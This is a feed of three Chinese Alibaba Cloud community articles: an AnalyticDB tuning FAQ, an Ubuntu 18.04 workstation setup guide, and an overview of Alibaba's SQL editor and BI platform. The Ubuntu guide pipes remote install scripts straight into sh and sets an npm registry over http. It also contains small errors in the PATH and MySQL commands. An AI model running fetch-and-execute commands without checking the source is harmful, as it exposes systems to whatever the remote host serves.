    2)合理的控制节点数量,并不是节点越多越好,当数据库规模不大,且每次查询的数据量很少,且跨网络访问很严重的情况下,节点越多,问题越严重。

    合理的使用索引:

    合理使用索引在数据库调优中,非常重要,在ADB中也不例外。在ADB中,默认每列都会创建索引。但是也有例外情况,如果某列的cardinality值比较少时,通过索引查询可能会更慢,因为他需要多查一次索引再回表,且索引的选择性又不高,性能就会很差,这时可以在建表时把这些disable掉建索引的功能,这样就不会在建表后自动建索引了,如果索引已经创建了,可以把索引删除掉,或者通过hint 不走索引访问:
    alter table table_name drop index index_name 把枚举列的索引删除掉。
    或者使用/+no_index_columns=[t_order_content.fdelete;fdbid]/ 类似这样的hint把索引去掉不走。

    ADB连接的最佳实践

    ADB在使用方式上做到和99%以上和mysql兼容,支持多种连接方式,比如mysql命令行,JDBC连接,Python连接,c#连接,PHP连接等等。整体请参考官方文档 。
    例如:
    采用Druid连接池的配置,请参考。

    FAQ:

    1. 磁盘占用大小包含哪些数据?为什么会触发磁盘满锁定?
    磁盘占用量主要包括数据和索引两部分。索引在构建过程中,会临时额外占用少量空间,期间可能会有少量数据膨胀。
    用户可以使用如下sql查询使用空间:(延迟统计的,1小时统计一次)
    select (sum(data_length)+sum(index_length))/1024/1024/1024 as '数据空间(GB)' from information_schema.tables;
    使用如下sql查询当前日志使用空间:
    show binary logs
    其中,adb-bin.log表示binlog,adb-system.log表示系统日志。
    单节点磁盘使用量超过80%则会触发锁定.
    有2种可能原因:一是一级分区键选择不合理导致某些节点数据倾斜,二是数据分布比较平均,总体使用量过大。是否存在表有分区倾斜可以在控制台页面查看存储的整体水位达到多少。

    2. 是否支持磁盘大小扩缩,是否支持节点数扩缩?节点数扩缩需要多久?
    目前磁盘使用ecs云盘,只支持扩容,不支持缩容。节点数支持扩缩,数量范围与实例初始规格相关,控制台变配页面可以看到当前实例节点数变配范围。节点数扩缩会在节点间进行部分数据迁移,正常情况下最大耗时为最大单节点磁盘使用量/40(MB/s) + 20min。

    3. 如何进一步提高写入性能?
    数据写和导入尽可能使用批量写入的方式,使用dataworks进行数据同步可关注是否并发任务数和写入批大小设置过小。主键选择尽可能精简。写入表的分区键选择尽可能均衡。

    4. 如何选择合适的一级分区列?
    ADB内部将数据拆分为若干个一级分区,通常情况下一个ADB实例内部大概有100数量级左右的一级分区。在进行查询时不同的一级分区并发进行。因此一级分区列最重要的一点是需要保证数据尽可能的均匀,否则会出现长尾查询拖慢整体查询进度。
    不同的表如果一级分区列相同,那么这些表在执行以一级分区列为join key的join时可以大幅度减少数据shuffle。因此在保证数据均匀的前提下,相同的一级分区列可以加速join。

    5. 如何选择合适的二级分区列?
    二级分区是对一级分区的进一步拆分,一般是在时间维度上进行。大部分情况下单二级分区的数据尽量超过一百万,达到百万级,同时也不要达到数千万。
    下面以一张订单表为例来选择合适的二级分区。假设这张表单天增量百万左右,需要保留10年的数据。由于我们单ADB集群通常情况下,有100左右的一级分区。若该表按日为分区,则单二级分区的大小约为1w左右远低于我们的建议值。因此用月或者年作为二级分区比较合适。
    二级分区的生命周期是支持修改的。如下语句: alter table lineitem partitions 12展示了如何将lineitem的二级分区个数修改为12。需要注意的是二级分区个数的修改是后台异步执行的,执行build table lineitem可以加速分区修改任务。

    6. 二级分区的过期策略是怎样的?
    目前二级分区过期策略是依据大小排序,只保留最大的N个二级分区,其中N为生命周期的大小。假设表A定义的生命周期个数为3,目前存在的二级分区为202001,202002,202003。当分区值为20204的数据写入进来时202001分区就会被淘汰。需要注意的是分区淘汰是延迟进行的,不保证20204的数据写入后立即会淘汰202001。此外在使用二级分区时也要注意脏数据带来的误淘汰问题,如果此时表A分别写入了分区值为300001,300002,300003的三条脏数据,那么分区淘汰策略也会被触发,整表将只剩下分区值最大的三条脏数据。

    7. 聚集索引是什么,什么情况下适合使用聚集索引?
    聚集索引就是让数据根据若干字段进行排序。对于有这相同的排序字段的数据在物理上尽可能的存储在一起。
    如果查询一定会带的某个字段,比如电商中卖家透视平台,每个卖家只访问自己的数据,那卖家id就是可以选择为聚集索引,可以保证数据的locality,进而性能有量级的提升。
    目前聚集索引只支持一个,但该聚集索引可以有多列。目前除非对非常分散的数据进行点查,否则聚集索引对性能的帮助很少,请谨慎选择。

    8. 主键如何选择,是否能够修改主键?
    主键一般情况下用于数据的去重。主键的长度与去重的效率成反比,因此非常不建议使用较长的String如UUID作为主键,建议为1~3个long值。
    此外需要注意的是,主键需要包含一级分区键和二级分区键。目前不支持主键的修改。

    9. 如何自己指定索引?

    1. ADB默认是全字段索引,一般不需要自己维护索引。
    2. 如何查看一个表有哪些索引,跟mysql一样使用这个语句:show index from t
    3. 如果想要drop掉某个索引可以使用:alter table t drop key key_name。其中key_name可以通过上面的语句查询。
      注意:drop掉索引会导致查询变慢。
    4. 如果想要自己指定索引,那跟mysql一样,使用key关键字:key key_name (column_name)。如:create table t(id bigint,c1 varchar,key id_idx(id))DISTRIBUTE BY HASH(id)

    10直接用mysql的建表DDL可以在adb中执行建表吗?
    可以的,具体行为是这样的:
    • 如果DDL中有主键,用主键做distribute key
    • 如果DDL中没有主键,会自动给他添加一个字段:__adb_auto_id__,然后用__adb_auto_id__做主键和分区键。

    12. 可以直接用adb2.0的建表语句在adb3.0中执行吗?
    ADB3.0已经兼容了ADB2.0的建表语句。

    ]]>
    从零打造自己Linux工作环境-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 [TOC]

    1. 前言

    我们在工作或学习过程中,有许多时候会接触到 Linux,然后便想要自己亲自试试这个系统,但苦于没有系统学习过,所以想要打造自己的工作环境难免会遇到许多困难。为了防止大家踩我踩过的坑,才有了这篇博客。本博客将主要从 系统设置、常用软件安装、开发环境搭建、系统美化 三个方面着手,手把手教你如何从零打造自己的 Ubuntu (基于 Ubuntu 18.04.4 LTS )工作环境。

    先展示下我自己的工作环境:

    • 桌面

    • 程序坞

    • 文件

    2. 系统设置

    2.1 换镜像源

    即将官方自带的源换成国内镜像源,如阿里、华为、网易等;

    打开 软件和更新 ,然后选择下载自 其他站点,选择你要设置的镜像源站点即可,也可以点击右侧选择最佳服务器,会根据你所处地区然后自动选择网速最快的;

    2.2 安装更新

    换源之后,执行如下命令用于更新系统;

    sudo apt update
    sudo apt-get  upgrade

    2.3 使用本地时区

    使用双系统时,往往两者时间会不正确,可以通过如下命令让 Ubuntu 使用本地时区;

    timedatectl set-local-rtc 1

    2.4 卸载自带的“无用”软件

    此处说的“无用”软件,因人而异,笔者只是提供建议,建议卸载软件列表如下(可能还有些没咋用的没列出,读者可以自行决定是否卸载,卸载之后如果有用到,还可以重新安装);

    • thunderbird 自带邮件
    • rhythmbox 音乐
    • gnome-mahjongg 对对碰游戏
    • gnome-mines 扫雷
    • gnome-sudoku 数独
    • aisleriot 纸牌
    • simple-scan 扫描器
    • onboard 屏幕键盘
    • brasero 光盘可怜工具
    • cheese 茄子相机
    • libreoffice 套件,用 WPS 代替

    3. 常用软件安装

    3.1 输入法

    • 搜狗输入法 for Linux

    软件由搜狗输入法团队和 Ubuntu Kylin 团队共同开发,能够满足我们日常输入需求;

    • 安装

    此处推荐下载安装包后安装,下载地址,下载后的安装包如下;

    然后在当前文件夹下打开终端,输入如下命令安装即可;

    sudo dpkg -i sogoupinyin_2.3.1.0112_amd64.deb 

    接着到 设置 - > 区域和语言 点击已安装的语言;

    把键盘输入法设置为 fcitx,然后应用到整个系统即可,然后注销或者重启即可使用;

    • 注意

    当安装时,可能会报依赖相关问题,可以在执行上述命令后,在终端中输入如下命令修复依赖安装,然后再次执行上面的安装命令即可;

    sudo apt-get --fix-broken install

    3.2 浏览器

    • Chrome

      说到浏览器,虽然 Ubuntu 中预装了 Firefox,但笔者更习惯用 Chrome ,作为全球范围内份额最高的浏览器,自然不用说啥,其实微软新出的 Edge 浏览器也很不错,只是目前还没有支持 Linux,后续可能会进一步支持。
      
    • 安装

    建议使用 deb 安装包安装,先 下载 安装包,然后在本地终端使用如下命令进行安装;

    sudo dpkg -i google-chrome-stable_current_amd64.deb 

    • 成品

    3.3 QQ

    去官网 下载 对应安装包,然后在终端使用如下命令安装;

    sudo dpkg -i linuxqq_2.0.0-b2-1082_amd64.deb

    • 成品

    3.4 微信

    • 安装

    此处推荐使用网页版即可,wine 版虽然网上也有,但有许多 bug,所以推荐使用网页版;

    • 创建快捷方式

    打开网页版微信,然后打开浏览器设置中的 更多工具 -> 创建快捷方式 即可,然后在桌面就会出现快捷方式,信任即可;

    • 成品

    3.5 音乐播放器

    • 网易云音乐

    作为网易旗下的音乐软件,虽然版权问题流失了许多用户,但不影响它越来越受广大用户喜欢。而我们在学习工作之余听听音乐,放松下调整状体也是极好的。

    • 安装

    下载 Linux 版本安装包,然后使用如下命令在终端中安装即可;

    sudo dpkg -i netease-cloud-music_1.2.1_amd64_ubuntu_20190428.deb

    • 成品

    3.6 截图工具

    • flameshot

      flameshot,能够用于标注、模糊,同时还支持上传到 imgur 图床的新式截图工具;
    • 安装
    sudo apt install flameshot

    • 设置快捷键

    依次进入 设置 -> 设备 -> 键盘 ,然后滑到最底端会有一个 + 按钮,点击 + 添加自定义快捷键,并设置名称和命令,然后点击右上角添加就可以设置自己想要的截图快捷键,比如我设置的是 Ctrl + Alt + A,如下图所示;

    • 成品

    3.7 图片编辑器

    • Gimp

    GIMP是 GNU Image Manipulation Program(GNU图像处理程序)的缩写,它是 Peter Mattis 和 Spencer Kimhall 开发的免费照片和图像处理和创作工具,功能十分强大。支持多种图像处理工具、全通道、多级撤销操作恢复旧貌与映像修饰等功能。支持数目众多的效果插件(plug-ins),完全可以与 Windows 平台下著名的图像处理软件 Photoshop 媲美;

    • 安装

    直接使用如下命令安装即可;

    sudo apt-get install gimp

    • 成品

    3.8 文字处理

    • WPS

    Ubuntu 中自带了 LibreOffice 办公套件,但此处更推荐使用 WPS,更加符合我们国人的使用习惯。

    • 安装

    先下载安装包,然后依然在本地终端使用如下命令进行安装;

    sudo dpkg -i wps-office_11.1.0.9505_amd64.deb

    • 成品

    3.9 Markdown 编辑器

    • Typora

    作为一款极简的 Markdown 编辑器,合并了写作和预览。支持表格、代码编辑,拖拽插图等,非常好用;喜欢它的原因也就是:美观、免费,而且跨平台;

    • 安装

    依次使用如下命令即可安装;

    wget -qO - https://typora.io/linux/public-key.asc | sudo apt-key add -
    
    sudo add-apt-repository 'deb https://typora.io/linux ./'
    
    sudo apt-get update
    
    sudo apt-get install typora

    • 成品

    3.10 文档阅读器

    • Okular

    可以说是 Linux 中最好的 PDF 阅读器,而且还支持常用的 CHM、EPub 等格式文档的查看;

    • 安装

    直接在终端中使用如下命令安装即可;

    sudo apt-get install okular

    • 成品

    3.11 思维导图

    • XMind

    做事或者写作之前,都喜欢先做一个总体的思维导图,然后根据思维导图去细化每一部分,而 XMind 正是这么一款工具;

    • 安装

    下载 安装包之后,在终端中使用如下命令行安装即可;

    sudo dpkg -i XMind-2020-for-Linux-amd-64bit-10.1.2-202004142327.deb 

    • 成品
      image.png

    3.12 多媒体播放器

    • VLC

    支持众多音频与视频解码器及文件格式,并支持 DVD 影音光盘,VCD 影音光盘及各类流式协议。也能作为 unicast 或 multicast 的流式服务器在 IPv4 或 IPv6 的高速网络连接下使用。融合了 FFmpeg 计划的解码器与 libdvdcss 程序库使其有播放多媒体文件及加密 DVD 影碟的功能,是 Linux 中多媒体播放器的不二之选;

    • 安装

    直接在终端中使用如下命令安装即可;

    sudo snap install vlc

    • 成品

    3.13 录屏软件

    • Kazam

    小巧而强大,易安装,即可选择区域录制,也可选择全屏录制,同时还兼具截图功能;

    • 安装

    直接在终端中使用如下命令安装即可:

    sudo apt install kazam
    • 成品

    3.14 视频编辑软件

    • OpenShot

    OpenShot 是 Linux 上的一个多用途视频编辑器,可以帮助你创建具有过渡和效果的视频。

    • 安装

    直接在终端中使用如下命令安装即可;

    sudo apt install openshot
    • 成品

    3.15 下载工具

    • uGet

    Uget(原名:Urlgfe)是一个基于 GTK+ 编写的自由和开放源码的下载管理器 ,跨平台(Windows和GNU / Linux的),支持断点续传和分类下载 ,uGet 同时 具备 多线程下载能力;

    • 安装
    sudo apt-get install uget

    • 成品

    4. 开发环境搭建

    4.1 git 安装

    直接在终端中使用如下命令安装即可;

    sudo apt install git

    4.2 Node.js 安装

    • 安装

    从淘宝镜像源 下载 对应版本压缩包,然后解压到你要存储的路径,比如我的是 /home/cunyu/soft/node-v12.16.2

    • 配置

    安装(解压)好后,在 /etc/profile 配置文件中配置;

    export NODEJS_HOME=/home/cunyu/soft/node-v12.16.2
    export PATH=$NODEJS_HOME/bin:$PATH
    • 换淘宝镜像源
    npm config set registry http://registry.npm.taobao.org/
    • 验证
    node -v
    npm -v

    4.3 JDK 安装

    • 安装

    先去 下载 要安装的 JDK 版本,然后解压到本地,移到你要存放的位置;

    tar -zxvf jdk-11.0.7_linux-x64_bin.tar.gz 

    • 配置

    打开配置文件 /etc/profile,然后加入如下内容;

    export JAVA_HOME=/home/cunyu/Soft/jdk11.0.7
    export PATH=$JAVA_HOME:$PATH

    • 验证

    安装和配置之后,在终端中输入如下命令进行验证是否成功;

    # 查看版本
    java -version
    # 编译
    java
    # 执行
    javac

    4.4 MiniConda 安装

    • 安装

    直接去 下载 对应版本安装包,此处以 3.7 版本为例,然后在终端中对齐赋予执行权限后执行;

    chmod +x Miniconda3-latest-Linux-x86_64.sh 
    
    sh Miniconda3-latest-Linux-x86_64.sh 

    执行后会让你阅读相关权限,然后输入 yes 同意,然后会让你指定安装目录,默认就直接回车就好,最后等安装好即可;

    • 配置

    打开 ~/.bashrc 文件,在其中加入如下 内容;

    # 注意输入你自己安装 miniConda 的目录
    export  PATH="/home/cunyu/miniconda3/bin:"$PATH
    • 验证

    4.5 MySQL 安装

    最新版本

    • 安装
    sudo apt-get install mysql-server

    • 设置 root 用户密码

    上述安装过程结束后,直接登录,此时 root 用户没有设密码,需要输入密码时直接回车;

    myslq -u root -p

    登录后,使用如下命令来修改 root 用户密码,退出后再次登录输入你修改的密码即可;

    SET PASSWORD FOR 'root'@localhost = PASSWORD('你要设置的密码');

    指定版本

    • 通过如下命令查看可安装的版本;
    apt-cache search mysql | grep mysql-server
    • 然后利用如下命令安装即可;
    sudo apt install mysql-server-5.7

    注意

    登陆时如果需要加上 sudo 才能登陆,则通过 sudo 登陆后,使用如下命令更新,即可退出后不用再使用 sudo 登陆

    use mysql;
    select User,Host,plugin from user;
    update user set Plugin='mysql_native_password'

    4.6 VS Code 安装

    • 安装

    直接去 下载 对应安装包,然后在终端使用如下命令安装;

    sudo dpkg -i code_1.44.2-1587059832_amd64.deb

    • 成品

    4.7 IntelliJ IDEA 安装

    • 安装

    从官网 下载
    对应安装包,然后将其解压;

    tar -zxvf ideaIU-2020.1.tar.gz 

    进入 IDEA/bin 目录下,执行 idea.sh 即可;

    • 生成快捷方式

    打开 IDEA 后,进入 Configure -> Create Desktop Entry,然后输入 root 用户密码即可;

    4.8 Pycharm 安装

    • 安装

    从官网 下载 对应安装包,然后将其解压;

    tar -zxvf pycharm-professional-2020.1.tar.gz 

    进入 Pycharm/bin 目录下,执行 pycharm.sh 即可;

    • 生成快捷方式

    打开 Pycharm 后,进入 Configure -> Create Desktop Entry,然后输入 root 用户密码即可;

    5. 系统美化

    5.1 Grub 美化

    • 对于安装双系统或多系统的读者,想要自己的启动页面变得好看一点,那么你一定不能错过。

    这里 去选择自己喜欢的主题,然后进行安装,这里笔者选择的是 Grub-theme-vimix

    • 安装

    把 Grub-theme-vimix 克隆到本地,然后使用如下命令进行安装即可;

    sudo ./install.sh -t -2 -b

    5.2 锁屏界面美化

    直接修改相关配置文件:/etc/alternatives/gdm3.css ,然后修改代码中的 #lockDialogGroup 部分如下即可;

    #lockDialogGroup {
      background: #2c001e       
      url(file:///home/cunyu/imgs/lock.png);
      background-size: cover;
      background-repeat: no-repeat;
      background-position: center;
    }

    5.3 美化工具安装

    美化之前,需要安装 gnome-tweak-tool,安装命令如下;

    sudo apt-get install gnome-tweak-tool

    5.4 主题安装

    • 下载

    推荐使用这套,macos 风格的主题,下载链接

    • 安装

    把下载好的压缩包解压之后,移动到 /usr/share/themes 目录下即可;

    5.5 图标安装

    • 下载

    推荐这款图标,下载链接

    • 安装

    把下载好的压缩包解压之后,移动到 /usr/share/icons 目录下即可;

    5.6 终端安装

    • 安装

    Ubuntu 自带终端已经很强大,但我更推荐使用 ZSH;

    在终端中使用如下命令安装即可;

    sudo apt install zsh

    • 设为默认 Shell
    chsh -s /usr/bin/zsh
    • 美化

    安装 oh-my-zsh,通过如下任一命令安装;

    # via crul
    sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
    # via wget
    sh -c "$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

    也可以通过如下命令安装;

    git clone git://github.com/robbyrussell/oh-my-zsh.git  ~/.oh-my-zsh
    cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc

    安装好之后,对 zsh 进行配置,打开 ~/.zshrc 配置文件,进行配置;

    进入 主题列表,挑选自己喜欢的主题,然后在上述配置中改成你喜欢的主题,比如我的主题是 Powerlevel10k,使用如下命令进行下载,然后在 .zshrc 中配置 ZSH_THEME="powerlevel10k/powerlevel10k"

    git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/themes/powerlevel10k

    使用该主题时会乱码,所以需要安装字体,到字体下载链接选择喜欢的字体进行下载,然后解压后双击安装即可,然后到终端的设置中将字体设为刚才安装的字体之一,然后重启终端即可。

    • 插件安装

      • zsh-syntax-highlighting :语法高亮;
      git clone https://github.com/zsh-users/zsh-syntax-highlighting.git $ZSH_CUSTOM/plugins/zsh-syntax-highlighting
    - `zsh-autosuggestions` :自动补全;
    
    git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions
    # 主题
    ZSH_THEME="powerlevel10k/powerlevel10k"
    
    
    # 插件
    # git
    
    # zsh-syntax-highlighting 输入正确会绿色高亮显示,输入错误会显示其他的颜色
    # git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ~/.oh-my-zsh
    
    # zsh-autosuggestions 自动建议补全
    git clone git://github.com/zsh-users/zsh-autosuggestions ~/.oh-my-zsh
    
    # extra 解压
    # z
    plugins=(
        git zsh-syntax-highlighting zsh-autosuggestions extract z
    )

    6. 总结

    至此,Ubuntu18.04 的安装结束,接下来你就可以尽情的捣鼓安装好的系统了 QAQ。

    20200510234310.png

    ]]>
    星辰大海:阿里数据体验技术揭秘!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png
    在数字经济时代,数据的重要性堪比石油。大数据的四个特点:Volume(数据体量大)、Variety(数据类型繁多)、Velocity(处理速度快)、Value(商业价值高),只要合理利用数据并对其进行准确的分析,将会给企业带来很高的价值回报。

    image.png

    在数据建设侧,阿里巴巴数据体验技术团队完成了大型 Web 应用架构,TypeScript 方案的 Iron-Redux,加 API 服务 Pont。上层特色的服务编排引擎和 SQL 编辑器的深挖,在工具层体验能力增色不少。在数据消费侧,我们致力于构建以 BI 为搭建数据报表等核心能力,上层特色的数据可视化,数据艺术和数据安全都在各领域有深度贡献。

    SQL 编辑器

    在数据采集,加工,管理,应用的链路中,编辑器都充当着开发者最重要的伙伴。在前端领域,编辑器是高复杂度的领域,而 SQL 编辑器在这个领域中又是垂直领域的建设。我们在设计编辑器的过程针对理解语法和理解语境这两个点作了深入分析和优化。

    理解语法

    回顾人学习一门新语言的过程,无外乎两种方式,要么翻阅百科字典,从 a 到 z,无论常用字还是生僻字,可以组成哪些词语,悉数记于脑中;要么与人交谈,记下其他人遣词造句的习惯,转为己用,与人交谈的次数越多,交谈的人群范围越广,积累下的话术也越为丰富,面对同一个问题,心中可供选择的答案也越多。

    编辑器理解语法的过程亦是如此,基于产生式进行分析或是基于样本进行模型训练与识别。一门语言的产生式定义可以视为这门语言的百科字典,详尽的枚举出词法和语法的所有场景,清晰的描摹出边界。SQL 语言的语法相对简单,结构性较强就比较适合采用基于产生式分析的方案。而对于 Python,Shell 这类语法复杂,或灵活度高的语言,基于产生式分析提供的关键词提示,在实际应用中难以真正起到提高开发效率的目的,基于业务场景的历史数据进行模型训练,提供包含业务含义的代码片段的提示显得更有意义。

    image.png

    理解语法可以说是编辑器最为基础的能力,不同的编辑器方案均有不同程度的实现,在我们的方案设计与实现的过程中,最为关注的三个方面分别是可扩展,易维护,高性能三个方面。

    可扩展性

    编辑器的载体产品经常提出一些定制化的需求,譬如支持变量语法,注入全局变量,或者是调整提示内容优先级,新增一些快捷键操作。尽管最终效果的呈现都是在界面上,实际解决这些问题的原点却不尽相同。因此,对编辑器作了三层架构设计,产生式层,解析层,组件 UI 层,各层级间明确 API 规范来保证能力的解耦与扩展性。

    易维护

    在需求支持的过程中,我们无可避免的要对语言的产生式进行修改,在这个过程中任何思考上的疏忽都有可能引入二义性语法,或者左递归语法,导致解析异常,无法提示出正确的信息或是陷入死循环。于是,产生式调试是语法拓展的核心工作之一,我们需要追踪用户输入的解析过程,在哪一个子句处没有匹配到目标产生式,从而去检查相应的产生式定义是否存在问题。

    高性能

    高性能的保证和提示精度的调控,提示规则的设计是相辅相成的。总能找到一处语法定义是 LL(k) 识别不了,但是 LL(k+1) 可以识别的。性能的要求导致我们不能无限的提高回溯的步长,但是同时还要达到一定精度的要求。

    由于 SQL 本身流程控制能力上的局限,在实际开发中往往需要借助 transform 或 udf 的方案,结合 Python,Shell 一起开发。未来,我们也会用机器学习的方案,来支持 Python,Shell 的语法提示能力。

    理解语境

    为了做到理解语境,在充分理解语法的基础上,还要进一步对语法所在的上下文进行分析,才能得出最终的结论。语法解析的过程实际上就是将用户输入转化为抽象语法树的过程,因此理解语境所需的上下文尽在树中。但是在为编辑器赋予理解语境能力的过程中,我们发现最大的挑战并不在于分析逻辑的实现本身,而是在于它的复制量产。由于业务上要求支持的方言众多,方言彼此间有着或多或少的语法差异,既要保持不同方言间语境理解能力的齐平,又要避免冒烟囱式开发。经过分析我们发现针对每一种语境理解的实现,关注点都集中在几个关键的终结符与非终结符定义上,围绕这些关键节点,建立一个有限状态机,新的方言接入时提供一个映射关系来说明关键节点之间的映射,语境理解能力就完成复制量产。这套机制的建立也意味着编辑器能力开放的议题中,语境理解能力的开放已经初具雏形。

    理解语境的另一方面体现在与数据分析能力的结合。结合数据探查的能力,对于数据研发中一些常见的数据质量问题可以做到前置检测,在开发过程中予以提示并引导解决,从而改变传统数据治理方案流程滞后,导致计算资源浪费的问题。以数据倾斜治理为例,当用户任务执行失败,经过探查分析发现是由于数据倾斜所致,由于数据倾斜存在一个持续期,因此在持续期内,用户开发中再次操作引发倾斜的字段时,会将热值信息予以提示,引导用户进行改写。除去这个例子,其他类型的数据质量问题,诸如暴力扫描,join 两侧字段类型不一致,以及其他 map join 优化场景都可以通过开发时的检测与提示进行规避。

    640.gif
    语法提示

    640 (1).gif

    别名识别

    640 (2).gif

    关键词修正

    BI 平台

    BI 平台是帮助我们更好地利用数据提高决策质量的中后台应用架构。它是从大量数据前端应用中沉淀出来的,上层支撑了 Quick BI,Quick A+ 等数据产品,汇集并沉淀了数据分析的核心能力。

    image.png

    Quick BI 是 BI 平台支持的核心,也是数据中台拳头级产品。2019 年,成为中国首个且惟一入选 Gartner BI 魔力象限的产品。BI 是一个典型的重交互场景,整个 BI 的分析链路包括数据引入、数据建模加工、报表搭建、交互分析、访问分享和集成。

    image.png

    BI 是非常有挑战的搭建场景,搭建能力对阿里数据中台来说,就像水和空气一样重要,搭建能力很大程度决定了数据中台竞争力。大量的产品需要搭建的方式来赋能业务人员,类似 Powerpoint 一样富客户端的交互方式;动辄百万条数据的加载对性能的挑战,单页面项目、ISV 开放生态对接等对工程化充满挑战。因此,我们抽象出渲染引擎内核 bi-designer 同时支持了两个 BI 的快速迭代。

    目前,我们携 bi-designer 加入到阿里集团低代码引擎组织,成为核心架构组的一员,专注于数据领域搭建方向,正在积极的递交提案拓展阿里低代码引擎协议,并进行 bi-designer 规范化改造,与 AliLowCodeEngine 引擎进行代码融合。

    bi-designer 数据搭建引擎有如下几个特色:

    三合一布局

    我们三种业务场景天然需要三套布局的能力:

    • 数据搭建 - 流式布局
    • BI 报表 - 磁贴布局
    • 大屏 - 自由布局

    bi-designer 通过插件机制内置了这三种布局能力,使流式、磁贴、自由布局间可无缝切换,在不同的产品透出不同布局能力。自由布局采用 Keynote 高仿真方案,支持吸附、对齐、组合、锁定等功能;磁贴布局也做了高度自使用、宽高智能拖拽等体验优化。

    image.png

    数据模型驱动

    BI 搭建拥有强大运行时分析能力,比如基于 OLAP 数据模型的同数据集自动关联功能,在图表内点击、框选操作触发其他组件查询并自动过滤筛选。

    简单的联动配置背后需要一套运行时解析能力,bi-designer 提供了一套运行时事件机制 runtimeConfig ,将任意组件配置映射成复杂事件关联效果,比如点击控制图表属性变化、点击控制取数参数变化、点击控制筛选条件值的变化。在取数上也内置了数据模型处理,针对筛选条件多对多关联、联动、值同步,以及任意组件(如线图)具有展示与筛选双重功能的能力。

    image.png

    懒渲染

    由于 BI 场景数据量动辄上百万条,我们在做了大量组件优化的同时(虚拟滚动、数据抽样等),bi-designer 渲染引擎也内置了组件按需渲染的能力。

    对于数据取数场景,我们也做了特别优化,懒加载的组件不会阻塞取数,而只阻塞组件本身渲染,这样可以在组件出现的瞬间直接加载数据,而不是重新取数。

    image.png

    被集成能力

    BI 报表在阿里内部和云上市场都有强烈被集成诉求,若干张报表或者设计器集成到已有系统逐渐成为一种趋势,我们开发了 bi-open-embed 并集成 bi-designer 能力,让渲染引擎可以被轻松集成到任意平台。我们对 Client、Server 端抽象了三层通用中间层 - PostMessageProxy、Router、EmbedAPI,分别定义了消息派发、指令接收以及指令执行,Server 端底层对接 bi-designer 引擎,Client 端对接接入方应用。

    image.png

    被集成领域中,组件安全隔离我们也下了功夫,从组件打包阶段开始,就利用构建工具进行样式隔离,组件脚本加载时进行 JS 环境变量隔离。在集成 API 上我们也从权限体系开始设计,到报表区块、筛选、主题等模块的控制,还可支持动态传入取数参数影响报表取数结果等等。

    低代码

    低代码能力也是我们数据搭建平台今年重点建设方向之一。低代码包括 NoCode 与 LowCode,NoCode 就是基于模型或者标准化模版,不需要写代码即可支持通用场景搭建,LowCode 则是在 NoCode 的基础上,辅助少量业务逻辑代码,比如变量绑定或者或者动作,实现更多定制业务逻辑的覆盖,其适用范围更广。

    集团中后台搭建采用 LCDL(Low-Code Definition Language)描述低代码业务协议,主要包括应用低代码定义语言、页面低代码定义语言、组件低代码定义语言。围绕这三个核心协议,拓展出四个可插拔的核心模块:

    • 入料模块:让渲染引擎可接入任何物料,并识别物料特征,自动完成对接。
    • 编排模块:设计器核心功能,包括组件编排、逻辑编排、事件编排等,是搭建的核心。
    • 渲染模块:搭建产物需要被分发到不同端,甚至小程序,从安全性到兼容性都是渲染模块要解决的问题。
    • 出码模块:所有低代码搭建产物都可出码,使产物可二次开发,FY21 还会持续探索 Pro-Code 与 Low-Code 完全互转。

    image.png

    数据搭建场景较为垂直化,且可依赖数据模型驱动,所以很久以来都没有强烈低代码诉求。但随着数据中台业务越做越大,盒马、菜鸟、本地生活、饿了么等等经济体 BU 数据团队的加入,具有低代码能力的数据产品搭建诉求越来越强烈,所以我们今年加入了集团低代码引擎组织核心团队共建,向组织输出数据场景搭建能力,从组织获取低代码引擎能力。

    数据可视化

    人类在处理信息的能力,视觉远超其它五感处理能力,在《Information is Beautiful》一书中,作者将视觉类比成计算机网络的带宽,达到 1250MB/s,触觉排在第二类比成 USB 接口,有 125MB/s,听觉和嗅觉类比成硬盘只有 12.5MB/s,而味觉就忽略不计了。数据可视化,就是在我们清洗关键数据之后,将数据呈现给用户,就像一道菜品精美的摆放,给你带来更多想象。

    image.png

    可视化一直是数据分析重点一环,工业界和学术界在可视化的研究也有高度重合的部分,脱离了分析的可视化是缺少灵魂的。上图来自于一家调研公司,可以看到数据分析有一个发展阶段,描述分析,解释分析,探索分析,预测分析,规范分析。规范分析是数据分析的最终阶段,它已经可以解决我们怎么做的问题,类同于人工智能的终极阶段。

    而可视化在之前的几个阶段都有一一匹配的能力,这也是可视化与大部分认知不同的地方,可视化远远不只是解决数据如何展示的问题,更重要的是如何传递信息,甚至解决的是如何传递更多的有效信息。

    image.png

    基础架构

    我们团队在这四个阶段都有布局,在可视化图表上,也是我们立身之本。我们在 BI 工具发展上构建了整体数据团队可视化能力,基于 D3,G2 构建了完善的基础层。结合业务能力在工具层,拥有完善的交互式分析能力。通过上层图形语法和数据模型标准的映射,我们得以用一套架构来实现可视化内核,在内核层大量增强了基础库的能力。

    image.png

    BI 场景有极其丰富的可视化场景,目前 Quick BI 支持 40+ 种图表,包括用户最常用的折线图、柱状图、堆积面积图、条形图、饼图和桑基图、排行榜、指标卡趋势图这些业务场景化图表。

    如何让这些图表更快速的开发和扩展一直是我们要解决的问题。因此,我们抽象出了 charts-bi 图表公共层,它包括统一的数据处理层、图表默认配置管理、图表极限情况处理、子图表、子组件包括图例和 Tooltip 等原生的渲染。尽管,我们图表渲染底层基于 G2,但可以说我们的 BI 场景图表是 G2 在集团应用最丰富的场景之一,同时我们也深度参与了可视化基建的共建。

    经过一年多的努力,2019 Quick BI 在 Gartner 象限报告中在数据可视化上在满分 5 分的情况下达到了 4.7 高分,超越微软 PowerBI,仅次于以可视化著称的 Tableau。报告称 Quick BI 在数据可视化功能方面被评为杰出。它支持丰富的图表类型和类似 Excel 的报告。它还为参数化数据获取和基于表单的回写提供了专用功能。

    image.png

    智能可视化

